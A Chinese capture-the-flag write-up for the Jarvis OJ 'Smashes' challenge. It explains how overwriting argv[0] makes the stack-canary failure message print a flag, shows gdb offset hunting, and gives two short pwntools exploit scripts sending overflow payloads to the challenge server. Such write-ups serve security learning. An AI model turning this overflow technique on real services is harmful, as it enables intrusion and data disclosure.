Pwn-Smashes
题目地址
https://dn.jarvisoj.com/challengefiles/smashes.44838f6edd4408a53feb2e2bbfe5b229
友链
https://www.jianshu.com/p/6afc68389901
https://www.jianshu.com/p/76b7d51b20fc
先看一下保护机制

开起了Canary和NX,即不能shellcode也不能用ret2libc和ROP直接绕过,但是这里可以利用Canary的保护机制,利用Canary报错信息打印flag,具体原理参考https://www.jianshu.com/p/b0b254b94afe
大概就是 利用Canary本身的保护机制,当Canary被修改了,函数会call到_stack_chk_fail来打印argv[0]指针所指向的字符串,而argv[0]默认情况下是程序的名字,如果我们把它覆盖成flag的地址,那么就可以打印出flag
这里还有一个坑,当ELF文件比较小的时候,它的可能会被映射到不同的地址,也就是说flag可能不止一个地址,利用gdb寻找

获得flag的地址0x400d20
之后我们还需要获得argv[0]到输入name这段的偏移量,这里还是用gdb调试
先寻找argv[0]的地址,0x7fffffffe2c0指向的是程序的名字,是argv[0],又因为0x7fffffffdf58保留了这个地址,所以我们需要的地址是0x7fffffffdf58

然后再断点在IO_gets前面,(一定要在IO_gets函数前面这才是求两段的距离),直接断点在IO_gets是错误的,这个需要慢慢调试,

然后求这两段之间的偏移量,最终偏移了0x218个字符

exp如下
from pwn import *
r=remote('pwn.jarvisoj.com',9877) r.recvuntil('name?')
payload='a'*0x218+p64(0x400d20)
r.sendline(payload) r.interactive()
执行结果

还有一种更加简单粗暴的方法,不知道偏移量,直接全部覆盖成flag的地址
from pwn import *
r=remote('pwn.jarvisoj.com',9877) r.recvuntil('name?')
payload=p64(0x400d20)*200
r.sendline(payload) r.interactive()
Pwn-Smashes的更多相关文章
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- iscc2016 pwn部分writeup
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...
- i春秋30强挑战赛pwn解题过程
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
- SSCTF Final PWN
比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...
- pwn学习(1)
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...
- pwn学习之四
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...
- pwn学习之三
whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
- pwn学习之一
刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...
随机推荐
- Win10家庭版激活方法
由于电脑换过主板,系统过了段时间显示未激活的状态,当时没注意随着主板口袋里的密匙,当作垃圾一起扔了,在网上试了几种方式,以下这个方法让我成功激活了系统 对开始菜单点击右键,选择Windows Powe ...
- requests---requests上传图片
我们在做接口测试的时候肯定会遇到一些上传图片,然后进行校验,今天我们一起学习通过requests上传图片,查看是否上传成功 抓取上传接口 这里我以百度为例子进行操作,为啥要用百度呢,主要上传文件比较简 ...
- Ant默认配置文件不是build.xml该如何编写命令进行编译打包
Ant的构件文件是基于XML编写的,默认名称为build.xml. ant命令默认寻找build.xml文件.若文件名为hello.xml时,读者还需要对命令做少许改变, 改为:ant –f hell ...
- vue表格合并行的一个实例
一.element控件实现 在平常的应用中,需要用到合并单元格的操作,在Excel中,这种操作很好实现,但在实际项目中,常常需要借助element控件来实现. 下面是element中的一个实例 ...
- Win32 程序开发入门:一个最简单的Win32程序
一.什么是 Win32 Win32 是指 Microsoft Windows 操作系统的 32 位环境,与 Win64 都为 Windows 常见环境. 这里再介绍下 Win32 Applicatio ...
- Unity TextMeshPro替代Text组件创建简体中文字体纹理集
Unity原生的Text组件有一个毛病,只要文本放大字体放大就会有毛边或锯齿,一个更好的解决方案是用TextMeshPro替代ugui中的Text组件. TMPro采用SDF文字渲染技术,可以使文字放 ...
- idea插件备份
- Linux war包部署jenkins
一.介绍Jenkins 1.Jenkins概念 Jenkins是一个功能强大的应用程序,允许持续集成和持续交付项目,无论用的是什么平台.这是一个免费的源代码,可以处理任何类型的构建或持续集成.集成Je ...
- 为何我建议1-3年的Java程序员仔细看看这篇文章
此文的目的是为了督促自己去不断学习,让自己有更明确的方向去提升自己.以技能树为基础,以面试要点为大纲,我觉得比抓住什么看什么要更有目的,更能坚持下去.世界瞬息万变,我们要时刻准备着.时刻提高着自己,才 ...
- 图解servlet
You can see the following illustration to better understand the lifecycle of the Servlet. When the r ...